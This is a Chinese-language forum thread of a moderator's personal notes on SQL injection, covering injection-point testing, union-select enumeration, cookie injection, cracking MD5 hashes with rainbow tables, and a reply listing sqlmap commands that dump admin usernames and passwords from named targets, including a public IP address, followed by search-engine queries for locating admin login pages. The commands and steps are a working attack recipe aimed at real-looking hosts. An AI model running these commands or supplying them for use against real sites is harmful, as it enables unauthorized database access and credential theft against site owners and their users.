老莫的笔记本  
  
查看: 2336|回复: 1

一 :Sql Injection #注入攻击原理

[复制链接]

662

主题

878

帖子

5143

积分

超级版主

Rank: 8Rank: 8

积分
5143
发表于 2019-3-1 00:31:21 | 显示全部楼层 |阅读模式
一 :Sql Injection #注入攻击原理

  1、什么是sql 注入
       
            定义: SQL 注入 是指 web 应用对用户输入数据的合法性没有判断,前端输入后端的参数是攻击者可控的,并且参数带入数据进行查询,

攻击者可以通过构造不同的语句对数据库进行操作;     

        本质:将用户输入的数据当做SQL语句执行,这里有两个关键条件
                    1.1 参数用户可控;
                1.2 参数带入数据库查询;

       
        如何判断注入点?
                1. id = 1' 在1后面加入单引号,页面出错
                2. id = 1 and 1 = 1 正常 id=1 and 1=2 错误  【判断 and 是否被当做搜索语句执行了】
                3. id = 1 and 1'=1 正常  id = 1 and '1'=1 错误
                       
                备注:通过构造错误的语句根据返回结果判断是否存在注入点
                       
                       

  2、注入的基本姿势

        2.1. 判断字段数

                2.1.1 利用order by  
                        利用原理: 原功能是排序 ;

                        原语法是:  order by 字段名

                        省略语法【被利用】: order by 2   这个2 表示 按照第2个字段进行排序   
       
                        如果 没有 第三个字段 ,那么 order by 3 就是错的【页面报错】
                       
                2.1.2 利用 union select 1,2,3---- form "要查询的表名" ; 利用这个搜素语句联合查询
                       
                  原语法: 在查询的时候,如果有两条查询语句,后面的字段数只要和前面的一样就可以了【前后一致】
                       

                  利用原理: union  ,也就是说  只要我先查出前边表表字段数 就可以进行相关的操作链表,需要猜测表名                  


                       

                  透析原理: 我在查询新闻表的时候,查询一个字段内容,谁的内容? admin 表的内容 ;
       


       
        2.2. 判断回显点
                       
                连表查询后: 看一下 页面上都显示了哪些; 然后 把 显示的东西 替换 我们猜测的 字段名 ;
                比如说:  union select 1,2,3,4 form admin    然后页面 显示了 3  那我把3 换成我猜测的 username 就得到了用户名


        2.3. 判断查询的相关内容
               
                2.3.1 工具,爆破 得到字段名与 表名  【】
                    2.3.2 通过数据的版本不同,可以得到利用信息 【其实就是用informaition 那个myadmin 自带的统计数据库】
                2.3.3 偏移注入 抛出想要的值 ;

        cookie 注入 :【在 url 被防止时 就这么干】

                在GET、POST被拦截的情况下,可以尝试使用 cookie 进行传参 在这里的实验 跟 url 里的一样 ;
                【需要 去 获取 】


  3.Md5 相关解决方法       

                利用解码网站【撞库攻击 得到密码】 彩虹表






回复

使用道具 举报

662

主题

878

帖子

5143

积分

超级版主

Rank: 8Rank: 8

积分
5143
 楼主| 发表于 2019-3-2 15:34:19 | 显示全部楼层
SQLmap 简单的使用记录
/*
【windows 下的操作方法】

        运行环境,需要先装 phtyon 2  【可以在桌面搞个快捷图标】
       
        所有操作记录,以及查询到的结果,都被记录在
        C:\Users\Administrator\AppData\Local\sqlmap\output


        爆破地址: http://www.xxx.com/en/CompHonorBig.asp?id=7

1. 猜测是否能 注入

         python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
         
         python sqlmap.py -u "地址"

2. 展示所有的表

        python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables  
         

3. 如何展示某一张表中的所有字段
       
        python sqlmap.py -u "http://117.41.229.122:8003/?id=1" -D maoshe -T news --columns

        python sqlmap.py -u "http://117.41.229.122:8003/?id=1" -D 数据库名称 -T 表名 --columns

4. 根据得到的字段值 获取的字段内容

        python sqlmap.py -u "http://117.41.229.122:8003/?id=1" -D maoshe -T admin -C "id,username,password" --dump
       
        python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" -D 数据库名称 -T 表名 -C "字段名,以逗号隔开 注意大小写" --dump
       
        参考地址1: https://blog.csdn.net/zgyulongfei/article/details/41017493
        参考地址2: https://www.cnblogs.com/ichunqiu/p/5805108.html
       
5. 拿到密码后 找后台登录页面

        方法1:在搜索引擎中输入 【前提条件是该网站被搜索引擎收录了】
                        site: 域名 intitle:登录 【或者管理员登录】
                        site: www.jianshu.com intitle:管理员登录
                        site:blog.csdn.net intext:.php 【查找所有.php 尾缀的地址】
       
        方法2:多套CMS的后台管理地址是一致的
       
        方法3:查看网站的图片属性 【我个人觉得没啥卵用,谁还不整个代理啊】
       
       
       
        小知识:搜索引擎 命令总结:
       
                https://blog.csdn.net/weixin_42127015/article/details/84472777
       

       
       
       

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表